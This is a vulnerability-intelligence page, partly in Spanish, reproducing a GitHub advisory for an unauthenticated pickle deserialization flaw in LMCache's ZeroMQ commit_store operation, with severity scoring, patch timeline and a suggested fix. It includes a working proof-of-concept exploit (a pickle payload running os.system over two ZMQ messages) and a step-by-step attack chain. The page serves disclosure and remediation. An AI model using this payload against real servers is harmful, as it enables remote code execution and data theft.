llamaCVEVulnerability Intelligence
/
Advisory · GitHub · PyPI · lmcache

GHSA-QR43-HV93-6X7P

Unauthenticated pickle deserialization in LMCache multiprocess commit_store (distinct sink from CVE-2026-105192)

Texto original en inglés · Ver en español

Parche disponible
Descargar PNG JSON
CVSS 3.1
9.8
Crítica
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H Fuente: GitHub
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche2 versionesPrimer parche a -6 d de la divulgación
Exposición3 dDesde la divulgación, 18 nov 2026, 2:41 p. m.
Detección11 hDesde la divulgación hasta su ingreso al índice
Decisión estimadaAtender
Priorizar en el próximo ciclo de cambios
Estimación de Llama con el árbol SSVC de CISA a partir de vector CVSS 3.1 y la evidencia de explotación (sin evaluación oficial): sin explotación conocida, automatizable e impacto técnico total. Hay versiones corregidas disponibles.
Revisa si el servicio da a internet. Si sí: corre.Revisa si está expuesta a internet. Yo espero aquí.
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Explotación
Remediación
Parche 0.5.7.post1
Monitoreo
Detectada +1
12 nov 26
18 nov 26
19 nov 26
21 nov 26
12 nov 26
15 nov 26
17 nov 26
19 nov 26
21 nov 26
FechaFaseEventoDetalle
Remediación Parche 0.5.7.post1 lmcache · -6 d desde divulgación
Divulgación Publicada GHSA-QR43-HV93-6X7P divulgada · CVSS 9.8 (GitHub)
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés

Summary

LMCache's multiprocess/distributed-mode ZeroMQ ROUTER socket (`lmcache/v1/multiprocess/mq.py`) is unauthenticated. In addition to the previously disclosed msgpack `ext_hook` path (CVE-2026-105192 / GHSA-vv44-hjm2-qw2f, scoped to `DeviceIPCWrapper.Deserialize`), the `commit_store` operation (op id 17) carries a plain `bytes`-typed payload that is pickle-loaded unconditionally. An unauthenticated attacker who can reach the ROUTER (`--host 0.0.0.0`/cross-node in distributed deployments) achieves remote code execution with a two-message sequence. This is a distinct sink and distinct code path from the previously disclosed advisory (CVE-2026-105192); a fix at `DeviceIPCWrapper.Deserialize` / the msgspec Ext hook does not close it.

Root Cause

`PickleTransferStrategy.commit_store` (and the SHM strategy's fallback) calls `pickle.loads` on the raw `cpu_data` bytes delivered by the client:

# lmcache/v1/multiprocess/modules/server_transfer.py:198-213 (v0.5.6rc3)
def commit_store(self, ..., cpu_data: bytes, ...):
    obj_keys = resolve_obj_keys(key)
    chunks: list[torch.Tensor] = pickle.loads(cpu_data)   # <-- sink, line 212
    ...

`cpu_data` originates from the wire payload for op 17 `commit_store`. The transport layer declares the field as `bytes` (see the `commit_store` message schema in `transport/base.py`), so the dispatcher in `mq.py:102-112` decodes it as a plain `msgspec.msgpack.decode(b_obj, type=bytes)` — `bytes` is not in `_SPECIAL_ENCODER_DECODERS` and is not `(bool, int)`, so no Ext hook is involved. The attacker fully controls the raw bytes passed to `pickle.loads`.

The SHM transfer strategy (`ShmTransferStrategy.commit_store`) also falls back to `PickleTransferStrategy.commit_store` whenever `cpu_data != b""`, so SHM configuration does not neutralize the sink.

Impact

  • Unauthenticated remote code execution in the LMCache server process on every reachable deployment with `supported_transfer_mode ∈ {engine_driven, auto}`.
  • Official container images set no `USER` directive, so RCE runs as root in those deployments.
  • Full confidentiality (model weights, KV caches, tenant data), integrity, and availability loss.

Proof of Concept

import pickle, zmq, msgspec
from lmcache.v1.multiprocess.transfer.engine_driven_transfer import RegisterEngineDrivenContextPayload
from lmcache.v1.multiprocess.transfer.ipc_key import IPCCacheServerKey

class RCE:
    def __reduce__(self):
        import os
        return (os.system, ("id > /tmp/pwned",))

ctx = zmq.Context(); s = ctx.socket(zmq.DEALER); s.connect("tcp://<victim>:5555")

# op 14: register_kv_cache_engine_driven_context
reg = RegisterEngineDrivenContextPayload(instance_id=1337, ..., dtype_str="float16", use_mla=False)
s.send_multipart([b"", b"", msgspec.msgpack.encode(reg)])

# op 17: commit_store with pickle-bomb cpu_data
key = IPCCacheServerKey(worker_id=0, ...)
payload = msgspec.msgpack.encode([key, 1337, pickle.dumps(RCE())])
s.send_multipart([b"", b"", payload])

RCE fires inside `pickle.loads(cpu_data)` during the `__reduce__` dispatch before any downstream chunk/key logic is reached.

Attack Chain

  1. Entry — connect ZMQ DEALER to `tcp://<host>:<port>` (default 5555).
  2. Guard: none. `self.socket = self.ctx.socket(zmq.ROUTER); self.socket.bind(bind_url)` (mq.py:525-526). No CURVE/ZAP/authenticator in the entire `lmcache/v1/multiprocess` tree.
  3. Bypass proof: grep for `CURVE|zap_domain|Authenticator|plain_password|ServerInterceptor` in `lmcache/v1/multiprocess` (non-test) returns zero hits.
  4. Register — op 14 `register_kv_cache_engine_driven_context`.
  5. Guard: handler validates only `dtype_str` resolves to a `torch.dtype` (`engine_driven_transfer.py:286-292`).
  6. Bypass proof: `"float16"` passes; `create_transfer_strategy` with default `shm_name=""` returns `PickleTransferStrategy` (`server_transfer.py:66-80`).
  7. Trigger — op 17 `commit_store` with `[IPCCacheServerKey(worker_id=0, …), 1337, pickle.dumps(RCE())]`.
  8. Guard before sink: `_resolve_for_transfer(1337)` succeeds (registered in step 2); `resolve_obj_keys(key)` raises only if `key.worker_id is None` (`engine_context.py:317-318`).
  9. Bypass proof: attacker sets `worker_id=0`; control reaches `pickle.loads(cpu_data)` at `server_transfer.py:212` unconditionally. `__reduce__` fires during `pickle.loads`, before `chunks`/`obj_keys` are ever used.
  10. Impact — RCE as the LMCache process user (root in official container images).

Bypass Evidence

  • Sink confirmed on `v0.5.6rc3`: `git show v0.5.6rc3:lmcache/v1/multiprocess/modules/server_transfer.py | sed -n '210,215p'` → `chunks: list[torch.Tensor] = pickle.loads(cpu_data)`.
  • Sink NOT closed by the CVE-2026-105192 fix: that advisory scopes `DeviceIPCWrapper.Deserialize` (ext_hook path in `ipc_wrapper.py`). The `commit_store` payload field is typed `bytes`, decoded via `msgspec.msgpack.decode(..., type=bytes)` — no Ext/ext_hook involved. Independent code path, independent fix needed.
  • SHM strategy fallback: `ShmTransferStrategy.commit_store` falls back to `PickleTransferStrategy.commit_store` when `cpu_data != b""` (`server_transfer.py:402-430`) — so SHM config does not avoid the sink.

Affected Versions

`<= 0.5.6rc3` (and HEAD `e64b43e`). Sink present on all listed tags; no post-release fix on `main`.

Configuration Preconditions

  • `supported_transfer_mode ∈ {"engine_driven", "auto"}` (default is `"lmcache_driven"`; cross-node distributed-serving docs commonly set `"engine_driven"` or `"auto"`).
  • Network reach requires `--host` set to a non-loopback address (same precondition as CVE-2026-105192).

Per CVSS 3.1 guidance, non-default configuration narrows the vulnerable population but does not raise AC; once the mode is set, exploitation is a deterministic two-message sequence.

Suggested Fix

Replace `pickle.loads(cpu_data)` with a typed deserializer (e.g., a dedicated msgspec `Decoder[list[TensorChunkMeta]]`), or wrap `cpu_data` in an authenticated envelope (HMAC/signed-channel) before unpickling. The same pattern should be applied to any other `pickle.loads` on wire-sourced bytes in `v1/multiprocess`.

---
Reported by zx (Jace) — GitHub: @manus-use

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Vector CVSS 3.1

Desglose de métricas

Opción resaltada = valor del vector · izquierda = peor caso · GitHub
Vector de ataqueAV:N
RedAdyacenteLocalFísica
ComplejidadAC:L
BajaAlta
PrivilegiosPR:N
NingunoBajosAltos
InteracciónUI:N
NingunaRequerida
AlcanceS:U
CambiadoSin cambio
ConfidencialidadC:H
AltoBajoNinguno
IntegridadI:H
AltoBajoNinguno
DisponibilidadA:H
AltoBajoNinguno
Score de explotaciónQué tan fácil y probable es que la exploten
10.0/ 10Muy alto
Vector 10.0 (muy fácil) · sin evidencia de explotación.
Versiones

Rangos afectados

Afectada Corregida Última
lmcache≥ 0.4.6 < 0.5.7
0.4.6
0.5.7.post1
0.5.7
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
pypilmcache
Corregida 0.5.7.post1 -6 d 0.5.7.post1 no afectada
Versiones corregidas0.5.7.post10.5.7
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/LMCache/LMCache/security/advisories/GHSA-qr43-hv93-6x7p

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.